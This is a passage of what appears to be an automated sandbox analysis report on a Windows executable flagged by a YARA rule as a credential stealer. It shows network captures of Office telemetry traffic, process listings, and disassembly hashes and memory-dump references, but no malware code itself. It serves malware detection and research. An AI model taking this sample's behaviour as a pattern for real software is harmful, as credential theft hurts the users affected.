2024-11-24 04:12:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-24 04:12:20 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49950	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:20 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 9616670f-801e-008c-16a7-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041221Z-15b8b599d88cn5thhC1TEBqxkn00000003wg0000000027n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49952	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:21 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041221Z-178bfbc474bh5zbqhC1NYCkdug00000005ag00000000cbma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49953	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:21 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:21 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041221Z-174c587ffdfx984chC1TEB676g000000040g0000000012q5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:21 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49954	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:21 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:21 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a4032f19-b01e-0084-598d-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041221Z-174c587ffdfmlsmvhC1TEBvyks000000041g00000000drzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:21 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49955	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:21 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:21 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: e5390902-901e-0015-1805-3db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041221Z-178bfbc474bbcwv4hC1NYCypys000000058g00000000amy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:21 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Target ID:	0
Start time:	23:11:14
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x660000
File size:	1'845'760 bytes
MD5 hash:	1CF0D9BB6174853F764AABA59A7CD239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1435855496.000000000138E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:56:21
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	00:56:23
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1880,i,4249164096274677999,9181346475388211576,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:56:24
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:56:25
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1916,i,2138066403308314358,10443051361612717293,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 0658EB0B Relevance: 1.3, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 0658EB0D

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a2dd0a5ce6a2c612c2da440d41e344615e3475d60ebbe0e3731a51366bda5320
Instruction ID: 9efc962849a594c252380561f1825f143ba3bbb386c1e60c59f83baeba4478e0
Opcode Fuzzy Hash: a2dd0a5ce6a2c612c2da440d41e344615e3475d60ebbe0e3731a51366bda5320
Instruction Fuzzy Hash: 5C115C7240C3149FE3803E68EC896FE7AE4EF09660F154E2AA651E3E00D1654800C2D6

Function 0658E475 Relevance: 1.3, APIs: 1, Instructions: 47
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 0658EEFE

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: aea93e07ce3b0554554877026480e4b925d2b6fbfece6ddd13a319aa13d82a33
Instruction ID: 3529ba02f219d38ab9bd5896185c41627942aa81a4d52a37d1a9ff676ae5b422
Opcode Fuzzy Hash: aea93e07ce3b0554554877026480e4b925d2b6fbfece6ddd13a319aa13d82a33
Instruction Fuzzy Hash: E6016DB2508644DFE7407F08DC0666A7BB4FB98710F154A28EAD1A7A40E635AC64CAC3

Non-executed Functions

Function 065BBAFB Relevance: 3.0, Strings: 2, Instructions: 531
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P~-, xrefs: 065BC24F
@s?, xrefs: 065BC207

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID: @s?$P~-
API String ID: 0-2406764712
Opcode ID: b6d64a4811e253bc4c9b1a8cdabf7b7348a880874995b4e934f3f825d0de62c0
Instruction ID: 70d3c9eac8297a8283874b6b919119638837f35dd8a419a78079118ee19b179b
Opcode Fuzzy Hash: b6d64a4811e253bc4c9b1a8cdabf7b7348a880874995b4e934f3f825d0de62c0
Instruction Fuzzy Hash: 0A02CDB3F152108BF3444E38DC953A6B692EB90324F2F863C8E98977C5D97E5C468781

Function 065BAFC2 Relevance: 3.0, Strings: 2, Instructions: 521
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jnw, xrefs: 065BB54A
vX=k, xrefs: 065BB539

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID: vX=k$jnw
API String ID: 0-1411130770
Opcode ID: 75216e659f7d39af34bbbbda55b6c8a415d7b77fa7d59b894048fa089de04067
Instruction ID: b8e397f2211b608ef0dc9379c946da7f45abe81a2b959adc55e332a2e456971e
Opcode Fuzzy Hash: 75216e659f7d39af34bbbbda55b6c8a415d7b77fa7d59b894048fa089de04067
Instruction Fuzzy Hash: 2D02F0F3F152104BF3144D39DD983A6B6C3DBD5324F2A823D9B889BBC9D87D980A4285

Function 065A1AC8 Relevance: 3.0, Strings: 2, Instructions: 512
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u<>, xrefs: 065A2125
%;c[, xrefs: 065A1FB2

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID: %;c[$u<>
API String ID: 0-540723954
Opcode ID: db67f850a8adce9b46f119062be60fa22c33bc9c9a7cea2c985aa955c873b6ca
Instruction ID: 892d07f81f12e5e6a59e9995b2f983ac6ff7d366f0285e26e52df800084debff
Opcode Fuzzy Hash: db67f850a8adce9b46f119062be60fa22c33bc9c9a7cea2c985aa955c873b6ca
Instruction Fuzzy Hash: 5D02E1F3F112144BF3485A38DC58366B693EBD5320F2B823C9B999B7C4E93E5D064685

Function 065D740B Relevance: 1.8, Strings: 1, Instructions: 530
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

S35z, xrefs: 065D7B26

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006822000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006824000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_file.jbxd

Similarity

API ID:
String ID: S35z
API String ID: 0-3425730061
Opcode ID: c06b1098e592719fb4f592950d859ec4a6c769b67afdc5c5e1f276df0681bba0
Instruction ID: 3016dbececda74d8489ab552848ba815f5920ae9b91aa1f66fc058b05f4d69f1
Opcode Fuzzy Hash: c06b1098e592719fb4f592950d859ec4a6c769b67afdc5c5e1f276df0681bba0
Instruction Fuzzy Hash: 0702E0B3F152204BF3485A38CC95366B692EB94320F2B423C9B9D977C5DD7E5C058385

Function 06597A63 Relevance: 1.7, Strings: 1, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

'}, xrefs: 065980C9

Memory Dump Source

Source File: 00000000.00000002.1727821407.000000000658A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: true

Associated: 00000000.00000002.1727764497.0000000006580000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727782291.0000000006582000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727802292.0000000006586000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.000000000670A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1727821407.0000000006813000.00000040.00000800.00020000.00000000.sdmpDownload File
